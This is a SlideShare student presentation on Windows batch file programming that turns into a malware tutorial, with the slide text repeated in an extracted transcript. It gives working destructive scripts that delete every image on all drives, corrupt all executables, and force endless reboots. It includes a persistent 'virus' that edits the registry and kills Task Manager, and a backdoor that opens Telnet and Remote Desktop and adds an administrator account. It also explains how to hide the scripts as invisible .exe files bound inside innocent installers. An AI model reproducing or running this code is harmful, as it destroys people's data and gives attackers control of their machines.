SlideShare une entreprise Scribd logo
1  sur  31
Batch File Programming .(Virus Attacks)



                         Introduction.
                         Structure.
                         Operators.
                         Syntax.
                         Fun.
     Dangerous.bat       Utilities.
                         Virus Attacks.
                         Preventions.
                               Presented by – Yogendra Kirar
                               M.C.A Final year.
Introduction.
                        Batch processing Explain.
                        (In MS-Windows)



                        Batch processing means when there are some
                          unique processes or tasks executes one after
                          another in form of a group, bunch, or batch.
                        Here, in windows batch file means the bunch of
                          DOS(Disk Operating System) Commands.
                        By effective batch file programming many
                          utilities, funny items or viruses that harm the
                          windows machines can prepared.

                        For good Batch file programmer deep knowledge
Commands in new lines     of DOS commands is must.
Introduction.
                For making any batch file steps are.



                 Open Notepad.
                 Type DOS commands separately in new line.
                 Saved it by .bat extension.
                 To execute Double Click on that file which
                  looks like .

                   This is default icon
                   of Batch files in
                   Windows OS.
Structure
             Example – running dos command.


             Start-Run-cmd
             Then cmd windows open looks like




             Now type any ms dos commands.
             You can control entire Operation System
             through DOS commands.

             For more commands type help and press enter.
Structure
            Working of File

            When we Click any batch file then
            -Firstly it opens the file read first line command
               run in command prompt.
            -Then closes the file.
            -Again open the file and run second file then
               close it.
            -Again open - run – close this process is continue
               till the commands ends and exit.

            Note: All commands must be in new Line.
Operators.
                 Operators – as Accelerators

  With batch files, which are also called batch Programs or scripts, you can
  simplify routine or repetitive tasks

              -Call                 -Setlocal
              -Echo                 -Endlocal
              -For                  -If
              -Rem
              -Goto
              -Shift
              -Endlocal
Syntax

 Syntax (mostly used)



 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
 echo [{on|off}] [message]
 for {%variable|%%variable} in (set) do command [ CommandLineOptions]
 rem [comment]
 goto label
Fun
 Undeletable Folder with Your Name.
    This code will create a folder on desktop and in root of all drives of your
   computer which is not simply deletable.
--------------------------------------------------------------------------------------
:y
md C:"Documents and Settings""All Users"Desktopyogendra
md c:yogendra
md d:yogendra
md e:yogendra
md f:yogendra
md g:yogendra
md h:yogendra
goto y
---------------------------------------------------------------------------------------
Copy this code in note pad and save it by anyname.bat
Important:

Here, all of you a Question or doubt in mind.
Is this true?
You think that if the black window of command prompt will continuously
  stays on desktop or on taskbar any on can suspect on it and if, somebody
  closes it then our batch file execution is stopped.

Solution of this is the Batch to Exe convertor software which converts batch
   file into exe . Then the file runs in background and uncatchable.
Bat2exe:
   you can download this from url: http://www.brothersoft.com/d.php?
   soft_id=50301&url=http%3A%2F%2Fwww.f2ko.de%2Fdownloads
   %2FBat_To_Exe_Converter.zip
Snapshot – Bat to Exe
                        Source path (.bat file)

                        Output path (.exe file)




                        Check invisible application




                        Finally compile the file
Fun


 Can’t do anything
    By this code we create a file that ends the explorer.exe and all things are
   gone.

Code:
----------------------------------------------------------------------------------------

Taskkill /im explorer.exe /f

----------------------------------------------------------------------------------------
Fun


 Many Folders
  this code creates 1000’s of folders with number naming.
  Code:
----------------------------------------------------------------------
:e
Md %random%
Goto e
----------------------------------------------------------------------
Fun
 Rotating Clock hands
   this code rotates clocks hands continuously.
Code:
---------------------------------------------------------------------------------------------
:y
time = 12:05:12
time = 12:10:12
time = 12:15:12
time = 12:20:12
time = 12:25:12
time = 12:30:12
time = 12:35:12
time = 12:40:12
time = 12:45:12
time = 12:50:12
time = 12:55:12
goto y
-----------------------------------------------------------------------------------------------------------------------------------
Utilities


 With funny things we can also make some
  utilities for windows machine.
 Utilities which helps us to maintain our system
  like speed, performance, hardisk mantainence.
 By batch file we can make schedule task.
Utilities

 Disk defragmenter file.
  This file is used to defragment your hard disk. Copy this file into location.
  “C:Documents and SettingsAll UsersStart MenuProgramsStartup”
code:
------------------------------------------------------------------------------------------
Defrag c: -f
Defrag d: -f
Defrag e: -f
Defrag f: -f
Msg * Defragment is completed
---------------------------------------------------------------------------------------------
Utilities
Steganography code:
Code:
-----------------------------------------------------------------------
Copy /b %1 + /b %2 new.jpg
exit
-----------------------------------------------------------------------------------------
Save this code by hide.bat
Hiding process
1. Copy this hide.bat in a folder.
2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that
    folder.
3. Now runs this hide .bat through dos prompt by providing names of jpeg file and
    text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text
    hidden in it.
4. To get your text open this jpeg in notepad and find your text in last of the
    notepad.
Utilities
Refresh. Code:
Code:
-----------------------------------------------------------------------
taskkill /im explorer.exe /f
start explorer.exe
----------------------------------------------------------------------------------------------
Scheduled Shutdown:
Code:
-----------------------------------------------------------------------
At [time] shutdown –s –f –t 00 –c “Message”
-----------------------------------------------------------------------
Virus Attacks

System restart virus.
This batch file code is restarts system when it starts
Code:
---------------------------------------------------------------------------------------------

echo shutdown –r –f –t 00 > shut.bat
move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup
----------------------------------------------------------------------------------------------

Copy the above code and paste in notepad by name anything.bat and runs on any
Pc then after next restart the system will never starts and automatically restarts.
Virus Attacks


 For loop viruses               1

     For loop is a looping operator which creates loop for any command
     This code creates messages on desktop showing files are corrupted.
----------------------------------------------------------------------------------------------
Code:
For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted.
    it not actually corrupts the file it shows only messages
----------------------------------------------------------------------------------------------

Note: conversion into exe is required.
Virus Attacks

For loop viruses         2 (Damage level :High)
For loop is a looping operator which creates loop for any command
4. This code will remove all images, wallpapers from your system
        Warning! -- Try it on your own risk.
Code:
            for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q

   Note: conversion into exe is required.
Virus Attacks
For loop viruses        3 (Damage level :High)
For loop is a looping operator which creates loop for any command
3. This code will corrupt all exe files of your system.
                 Warning! -- Try it on your own risk.

Code:
         echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null
           for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           del c:tempero.null /s/q

   Note: conversion into exe is required.
Virus Attacks
For loop viruses        4 (Damage level :High)
For loop is a looping operator which creates loop for any command
3. This code will corrupt all exe files of your system.
                 Warning! -- Try it on your own risk.

Code:
         echo you lost all !!!! >c:tempero.null
         for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         del c:tempero.null /s/q

Note: conversion into exe is required.
My Friend Virus (Dangerous level : High)
   @echo off
   rename mypic.exe igfx.exe
   if exist c:windowssystem32igfx.exe goto code
   if exist d:windowssystem32igfx.exe goto code
   if exist e:windowssystem32igfx.exe goto code
   if exist f:windowssystem32igfx.exe goto code
   if exist g:windowssystem32igfx.exe goto code
   echo Windows Registry Editor Version 5.00>yog.reg
   echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg
   if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg
   if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg
   if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg
   if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg
   if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg
   echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg
   echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg
   echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg
   regedit /s yog.reg
   del yog.reg /s/q
   echo Windows Registry Editor Version 5.00>yog.reg
   echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg
   echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg
   echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my
    friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg
   regedit /s yog.reg
   del yog.reg /s/q
   if exist c:windowsnul copy igfx.exe c:windowssystem32
   if exist d:windowsnul copy igfx.exe d:windowssystem32
   if exist e:windowsnul copy igfx.exe e:windowssystem32
   if exist f:windowsnul copy igfx.exe f:windowssystem32
   if exist g:windowsnul copy igfx.exe g:windowssystem32
   :code
   shutdown -r -f -t 600
   :e
   if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend"
   if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend"
   if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend"
   if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend"
   if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend"
   taskkill /im USBGuard.exe /f
   taskkill /im notepad.exe /f
   taskkill /im SOUNDMAN.exe /f
   taskkill /im taskmgr.exe /f
   date 02-12-3060


    goto e                                                  conversion into exe is required
Telnet Trojen.

 Work as Remote Administrator tool with the use of
  telenet.

 @echo off
 sc config tlntsvr start= auto
 net start tlntsvr
 netsh firewall add portopening TCP 23 "Telnet"
 sc config termservice start= auto
 net start termservice
 netsh firewall add portopening TCP 3389 "Remote Desktop"
 net user Default 12345 /add
 net localgroup administrators Default /add


                                      By Sourabh Mishra.
Finishing Virus Coding
 Firstly copy all these coding into the notepad and name them anything
  with .bat extention.
 Now converts this .bat file into .exe file with the help of Bat to Exe converter.
 This is the software which
   Helps us to hide the cmd
   coding and runs the process
   in background.




   File.bat                                                               File.exe
Finishing Virus Coding
 After converting .bat file into .exe file What to do Next?
  All of u thinking that these are the .exe files how these are spreads. Your
  answer is the software which reside in directory c:windowssystem32
  with name iexpress to start iexpress Start > Run > iexpress
  You will see this windows this is your mixing software.
Finishing Virus Coding
 Follows the instruction of software then after pressing some next you will
  find this window.




 Here, add your viral code and the innocent software(exe) in which u want to
  bind this.
Finishing Virus Coding

 After that in two selection windows firstly select the innocent software(exe)
  location then in second
  Window select your viral
  code(exe).

Follows the instruction and your
New software setup is created
Which is innocent but contains
Harmful virus.

When we install this software , then
After installation of software the
Added virus code is runs.
Finishing Virus Coding
                    Mixing process.



          .bat




          .exe
                                      setup.exe
Prevention (Conclusion)
 Some possible prevention or conclusions are


1.Do not accept any file with .bat or .exe extension on the internet while
   chatting or from your mailbox.
2.Do not take softwares from untrusted vendors.
3.Always check your autoruns by—
      start>run>msconfig>startup
   if u find something suspected target its path and remove it after checking
   it.
4.These are the batch viruses which are not so advanced viruses but having
   very dangerous capabilities, and only strong updated antivirus can catch
   them so always kept updated antivirus.
Have any questions?
          Yogendra Kirar.

Contenu connexe

Tendances

The linux file system structure
The linux file system structureThe linux file system structure
The linux file system structure
Teja Bheemanapally
 
Bash shell
Bash shellBash shell
Bash shell
xylas121
 

Tendances (20)

Software maintenance Unit5
Software maintenance  Unit5Software maintenance  Unit5
Software maintenance Unit5
 
Know the UNIX Commands
Know the UNIX CommandsKnow the UNIX Commands
Know the UNIX Commands
 
Difference Program vs Process vs Thread
Difference Program vs Process vs ThreadDifference Program vs Process vs Thread
Difference Program vs Process vs Thread
 
Shell scripting
Shell scriptingShell scripting
Shell scripting
 
Introduction to Unix
Introduction to UnixIntroduction to Unix
Introduction to Unix
 
The linux file system structure
The linux file system structureThe linux file system structure
The linux file system structure
 
Linux security
Linux securityLinux security
Linux security
 
Shell Scripting
Shell ScriptingShell Scripting
Shell Scripting
 
Pipes and filters
Pipes and filtersPipes and filters
Pipes and filters
 
Linux basic commands with examples
Linux basic commands with examplesLinux basic commands with examples
Linux basic commands with examples
 
Security & protection in operating system
Security & protection in operating systemSecurity & protection in operating system
Security & protection in operating system
 
Operating Systems - File Management
Operating Systems -  File ManagementOperating Systems -  File Management
Operating Systems - File Management
 
Complete Guide for Linux shell programming
Complete Guide for Linux shell programmingComplete Guide for Linux shell programming
Complete Guide for Linux shell programming
 
Find & Locate utility Linux
Find & Locate utility LinuxFind & Locate utility Linux
Find & Locate utility Linux
 
Bash shell
Bash shellBash shell
Bash shell
 
Database security
Database securityDatabase security
Database security
 
Linux file system
Linux file systemLinux file system
Linux file system
 
Shell programming
Shell programmingShell programming
Shell programming
 
Linux Directory Structure
Linux Directory StructureLinux Directory Structure
Linux Directory Structure
 
Introduction to Shell script
Introduction to Shell scriptIntroduction to Shell script
Introduction to Shell script
 

Similaire à Batch file programming

Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxPart 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
karlhennesey
 
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Camilo Alvarez Rivera
 
Hhs en02 windows_and_linux
Hhs en02 windows_and_linuxHhs en02 windows_and_linux
Hhs en02 windows_and_linux
Shoaib Sheikh
 

Similaire à Batch file programming (20)

Batch programming and Viruses
Batch programming and VirusesBatch programming and Viruses
Batch programming and Viruses
 
Batch file programming
Batch file programmingBatch file programming
Batch file programming
 
Batch file-programming
Batch file-programmingBatch file-programming
Batch file-programming
 
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxPart 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup Presentation
 
ICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdfICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdf
 
168054408 cc1
168054408 cc1168054408 cc1
168054408 cc1
 
Command line for the beginner - Using the command line in developing for the...
Command line for the beginner -  Using the command line in developing for the...Command line for the beginner -  Using the command line in developing for the...
Command line for the beginner - Using the command line in developing for the...
 
Linux
LinuxLinux
Linux
 
Linux
LinuxLinux
Linux
 
Useful Linux and Unix commands handbook
Useful Linux and Unix commands handbookUseful Linux and Unix commands handbook
Useful Linux and Unix commands handbook
 
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
 
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
 
CMake Tutorial
CMake TutorialCMake Tutorial
CMake Tutorial
 
ITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating SystemITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating System
 
Windows batch scripting
Windows batch scriptingWindows batch scripting
Windows batch scripting
 
Hhs en02 windows_and_linux
Hhs en02 windows_and_linuxHhs en02 windows_and_linux
Hhs en02 windows_and_linux
 
lec4.docx
lec4.docxlec4.docx
lec4.docx
 
linux
linuxlinux
linux
 
Sandy Report
Sandy ReportSandy Report
Sandy Report
 

Dernier

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
giselly40
 

Dernier (20)

🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 

Batch file programming

  • 1. Batch File Programming .(Virus Attacks) Introduction. Structure. Operators. Syntax. Fun. Dangerous.bat Utilities. Virus Attacks. Preventions. Presented by – Yogendra Kirar M.C.A Final year.
  • 2. Introduction. Batch processing Explain. (In MS-Windows) Batch processing means when there are some unique processes or tasks executes one after another in form of a group, bunch, or batch. Here, in windows batch file means the bunch of DOS(Disk Operating System) Commands. By effective batch file programming many utilities, funny items or viruses that harm the windows machines can prepared. For good Batch file programmer deep knowledge Commands in new lines of DOS commands is must.
  • 3. Introduction. For making any batch file steps are.  Open Notepad.  Type DOS commands separately in new line.  Saved it by .bat extension.  To execute Double Click on that file which looks like . This is default icon of Batch files in Windows OS.
  • 4. Structure  Example – running dos command. Start-Run-cmd Then cmd windows open looks like Now type any ms dos commands. You can control entire Operation System through DOS commands. For more commands type help and press enter.
  • 5. Structure Working of File When we Click any batch file then -Firstly it opens the file read first line command run in command prompt. -Then closes the file. -Again open the file and run second file then close it. -Again open - run – close this process is continue till the commands ends and exit. Note: All commands must be in new Line.
  • 6. Operators. Operators – as Accelerators With batch files, which are also called batch Programs or scripts, you can simplify routine or repetitive tasks -Call -Setlocal -Echo -Endlocal -For -If -Rem -Goto -Shift -Endlocal
  • 7. Syntax  Syntax (mostly used)  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]  echo [{on|off}] [message]  for {%variable|%%variable} in (set) do command [ CommandLineOptions]  rem [comment]  goto label
  • 8. Fun  Undeletable Folder with Your Name. This code will create a folder on desktop and in root of all drives of your computer which is not simply deletable. -------------------------------------------------------------------------------------- :y md C:"Documents and Settings""All Users"Desktopyogendra md c:yogendra md d:yogendra md e:yogendra md f:yogendra md g:yogendra md h:yogendra goto y --------------------------------------------------------------------------------------- Copy this code in note pad and save it by anyname.bat
  • 9. Important: Here, all of you a Question or doubt in mind. Is this true? You think that if the black window of command prompt will continuously stays on desktop or on taskbar any on can suspect on it and if, somebody closes it then our batch file execution is stopped. Solution of this is the Batch to Exe convertor software which converts batch file into exe . Then the file runs in background and uncatchable. Bat2exe: you can download this from url: http://www.brothersoft.com/d.php? soft_id=50301&url=http%3A%2F%2Fwww.f2ko.de%2Fdownloads %2FBat_To_Exe_Converter.zip
  • 10. Snapshot – Bat to Exe Source path (.bat file) Output path (.exe file) Check invisible application Finally compile the file
  • 11. Fun  Can’t do anything By this code we create a file that ends the explorer.exe and all things are gone. Code: ---------------------------------------------------------------------------------------- Taskkill /im explorer.exe /f ----------------------------------------------------------------------------------------
  • 12. Fun  Many Folders this code creates 1000’s of folders with number naming. Code: ---------------------------------------------------------------------- :e Md %random% Goto e ----------------------------------------------------------------------
  • 13. Fun  Rotating Clock hands this code rotates clocks hands continuously. Code: --------------------------------------------------------------------------------------------- :y time = 12:05:12 time = 12:10:12 time = 12:15:12 time = 12:20:12 time = 12:25:12 time = 12:30:12 time = 12:35:12 time = 12:40:12 time = 12:45:12 time = 12:50:12 time = 12:55:12 goto y -----------------------------------------------------------------------------------------------------------------------------------
  • 14. Utilities  With funny things we can also make some utilities for windows machine.  Utilities which helps us to maintain our system like speed, performance, hardisk mantainence.  By batch file we can make schedule task.
  • 15. Utilities  Disk defragmenter file. This file is used to defragment your hard disk. Copy this file into location. “C:Documents and SettingsAll UsersStart MenuProgramsStartup” code: ------------------------------------------------------------------------------------------ Defrag c: -f Defrag d: -f Defrag e: -f Defrag f: -f Msg * Defragment is completed ---------------------------------------------------------------------------------------------
  • 16. Utilities Steganography code: Code: ----------------------------------------------------------------------- Copy /b %1 + /b %2 new.jpg exit ----------------------------------------------------------------------------------------- Save this code by hide.bat Hiding process 1. Copy this hide.bat in a folder. 2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that folder. 3. Now runs this hide .bat through dos prompt by providing names of jpeg file and text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text hidden in it. 4. To get your text open this jpeg in notepad and find your text in last of the notepad.
  • 17. Utilities Refresh. Code: Code: ----------------------------------------------------------------------- taskkill /im explorer.exe /f start explorer.exe ---------------------------------------------------------------------------------------------- Scheduled Shutdown: Code: ----------------------------------------------------------------------- At [time] shutdown –s –f –t 00 –c “Message” -----------------------------------------------------------------------
  • 18. Virus Attacks System restart virus. This batch file code is restarts system when it starts Code: --------------------------------------------------------------------------------------------- echo shutdown –r –f –t 00 > shut.bat move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup ---------------------------------------------------------------------------------------------- Copy the above code and paste in notepad by name anything.bat and runs on any Pc then after next restart the system will never starts and automatically restarts.
  • 19. Virus Attacks  For loop viruses 1 For loop is a looping operator which creates loop for any command This code creates messages on desktop showing files are corrupted. ---------------------------------------------------------------------------------------------- Code: For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted. it not actually corrupts the file it shows only messages ---------------------------------------------------------------------------------------------- Note: conversion into exe is required.
  • 20. Virus Attacks For loop viruses 2 (Damage level :High) For loop is a looping operator which creates loop for any command 4. This code will remove all images, wallpapers from your system Warning! -- Try it on your own risk. Code: for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q Note: conversion into exe is required.
  • 21. Virus Attacks For loop viruses 3 (Damage level :High) For loop is a looping operator which creates loop for any command 3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y del c:tempero.null /s/q Note: conversion into exe is required.
  • 22. Virus Attacks For loop viruses 4 (Damage level :High) For loop is a looping operator which creates loop for any command 3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo you lost all !!!! >c:tempero.null for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y del c:tempero.null /s/q Note: conversion into exe is required.
  • 23. My Friend Virus (Dangerous level : High)  @echo off  rename mypic.exe igfx.exe  if exist c:windowssystem32igfx.exe goto code  if exist d:windowssystem32igfx.exe goto code  if exist e:windowssystem32igfx.exe goto code  if exist f:windowssystem32igfx.exe goto code  if exist g:windowssystem32igfx.exe goto code  echo Windows Registry Editor Version 5.00>yog.reg  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg  if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg  if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg  if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg  if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg  if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg  echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg  echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg  echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg  regedit /s yog.reg  del yog.reg /s/q  echo Windows Registry Editor Version 5.00>yog.reg  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg  echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg  echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg  regedit /s yog.reg  del yog.reg /s/q  if exist c:windowsnul copy igfx.exe c:windowssystem32  if exist d:windowsnul copy igfx.exe d:windowssystem32  if exist e:windowsnul copy igfx.exe e:windowssystem32  if exist f:windowsnul copy igfx.exe f:windowssystem32  if exist g:windowsnul copy igfx.exe g:windowssystem32  :code  shutdown -r -f -t 600  :e  if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend"  if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend"  if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend"  if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend"  if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend"  taskkill /im USBGuard.exe /f  taskkill /im notepad.exe /f  taskkill /im SOUNDMAN.exe /f  taskkill /im taskmgr.exe /f  date 02-12-3060  goto e conversion into exe is required
  • 24. Telnet Trojen. Work as Remote Administrator tool with the use of telenet. @echo off sc config tlntsvr start= auto net start tlntsvr netsh firewall add portopening TCP 23 "Telnet" sc config termservice start= auto net start termservice netsh firewall add portopening TCP 3389 "Remote Desktop" net user Default 12345 /add net localgroup administrators Default /add By Sourabh Mishra.
